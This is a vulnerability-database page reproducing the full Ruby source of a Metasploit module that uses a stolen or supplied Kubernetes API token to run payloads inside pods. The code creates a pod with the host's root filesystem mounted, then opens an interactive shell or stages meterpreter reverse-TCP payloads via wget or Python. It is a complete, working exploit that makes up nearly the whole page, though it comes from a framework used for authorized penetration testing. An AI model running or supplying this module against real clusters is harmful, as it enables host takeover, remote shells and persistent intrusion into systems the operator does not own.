Lucene search
K

Kubernetes authenticated code execution

🗓️ 28 Oct 2021 17:51:14Reported by alanfoster, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 164 Views

Kubernetes authenticated code execution. Execute a payload within a Kubernetes pod using authenticated code execution

Code
# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ManualRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Kubernetes

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kubernetes authenticated code execution',
        'Description' => %q{
          Execute a payload within a Kubernetes pod.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'alanfoster',
          'Spencer McIntyre'
        ],
        'References' => [
        ],
        'Notes' => {
          'SideEffects' => [
            ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
            CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
            IOC_IN_LOGS # a log event is generated if a new pod is created
          ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        },
        'DefaultOptions' => {
          'SSL' => true
        },
        'Targets' => [
          [
            'Interactive WebSocket',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Type' => :nix_stream,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact',
                  'ConnectionType' => 'find'
                }
              }
            }
          ],
          [
            'Unix Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Type' => :nix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux',
              'Type' => :nix_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => 'wget',
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Python',
            {
              'Arch' => [ARCH_PYTHON],
              'Platform' => 'python',
              'Type' => :python,
              'PAYLOAD' => 'python/meterpreter/reverse_tcp'
            }
          ]
        ],
        'DisclosureDate' => '2021-10-01',
        'DefaultTarget' => 0,
        'Platform' => [ 'linux', 'unix' ],
        'SessionTypes' => [ 'meterpreter' ]
      )
    )

    register_options(
      [
        Opt::RHOSTS(nil, false),
        Opt::RPORT(nil, false),
        Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
        OptString.new('TOKEN', [ false, 'The JWT token' ]),
        OptString.new('POD', [ false, 'The pod name to execute in' ]),
        OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
        OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
      ]
    )

    register_advanced_options(
      [
        OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
        OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
      ]
    )
  end

  def pod_name
    @pod_name || datastore['POD']
  end

  def create_pod
    if datastore['PodImage'].blank?
      image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
      fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
    else
      image_names = [ datastore['PodImage'] ]
    end

    ready = false
    image_names.each do |image_name|
      print_status("Using image: #{image_name}")

      random_identifiers = Rex::RandomIdentifier::Generator.new({
        first_char_set: Rex::Text::LowerAlpha,
        char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
      })
      new_pod_definition = {
        apiVersion: 'v1',
        kind: 'Pod',
        metadata: {
          name: random_identifiers[:pod_name],
          labels: {}
        },
        spec: {
          containers: [
            {
              name: random_identifiers[:container_name],
              image: image_name,
              command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
              volumeMounts: [
                {
                  mountPath: '/host_mnt',
                  name: random_identifiers[:volume_name]
                }
              ]
            }
          ],
          volumes: [
            {
              name: random_identifiers[:volume_name],
              hostPath: {
                path: '/'
              }
            }
          ]
        }
      }
      new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]

      @pod_name = random_identifiers[:pod_name]
      print_good("Pod created: #{pod_name}")

      print_status('Waiting for the pod to be ready...')
      ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
        pod = @kubernetes_client.get_pod(pod_name, namespace)
        pod_status = pod[:status]
        next if pod_status == 'Failure'

        container_statuses = pod_status[:containerStatuses]
        next unless container_statuses

        ready = container_statuses.any? { |status| status[:ready] }
        ready
      rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
        elog(e)
        false
      end

      if ready
        report_note(
          type: 'kubernetes.pod',
          host: rhost,
          port: rport,
          data: {
            pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
            imageName: image_name
          },
          update: :unique_data
        )

        break
      end

      print_error('The pod failed to start within the expected timeframe')

      begin
        @kubernetes_client.delete_pod(@pod_name, namespace)
      rescue StandardError
        print_error('Failed to delete the pod')
      end
    end

    fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
  end

  def exploit
    if session
      print_status("Routing traffic through session: #{session.sid}")
      configure_via_session
    end

    validate_configuration!

    @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })

    create_pod if pod_name.blank?

    case target['Type']
    when :nix_stream
      # Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
      websocket = @kubernetes_client.exec_pod(
        pod_name,
        datastore['Namespace'],
        datastore['Shell'],
        'stdin' => true,
        'stdout' => true,
        'stderr' => true,
        'tty' => false
      )

      print_good('Successfully established the WebSocket')
      channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
      handler(channel.lsock)
    when :nix_cmd
      execute_command(payload.encoded)
    when :nix_dropper
      execute_cmdstager
    else
      execute_command(payload.encoded)
    end
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    res = e.http_response
    fail_with(Failure::Unreachable, e.message) if res.nil?
    fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
    fail_with(Failure::Unknown, e.message)
  else
    report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
  end

  def execute_command(cmd, _opts = {})
    case target['Platform']
    when 'python'
      command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
    else
      command = [datastore['Shell'], '-c', cmd]
    end

    result = @kubernetes_client.exec_pod_capture(
      pod_name,
      datastore['Namespace'],
      command,
      'stdin' => false,
      'stdout' => true,
      'stderr' => true,
      'tty' => false
    ) do |stdout, stderr|
      print_line(stdout.strip) unless stdout.blank?
      print_line(stderr.strip) unless stderr.blank?
    end

    fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?

    status = result&.dig(:error, 'status')
    fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation